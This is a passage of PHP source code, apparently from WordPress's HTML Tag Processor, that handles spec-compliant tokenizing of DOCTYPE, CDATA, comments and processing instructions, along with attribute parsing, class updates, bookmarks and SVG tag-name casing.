					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';
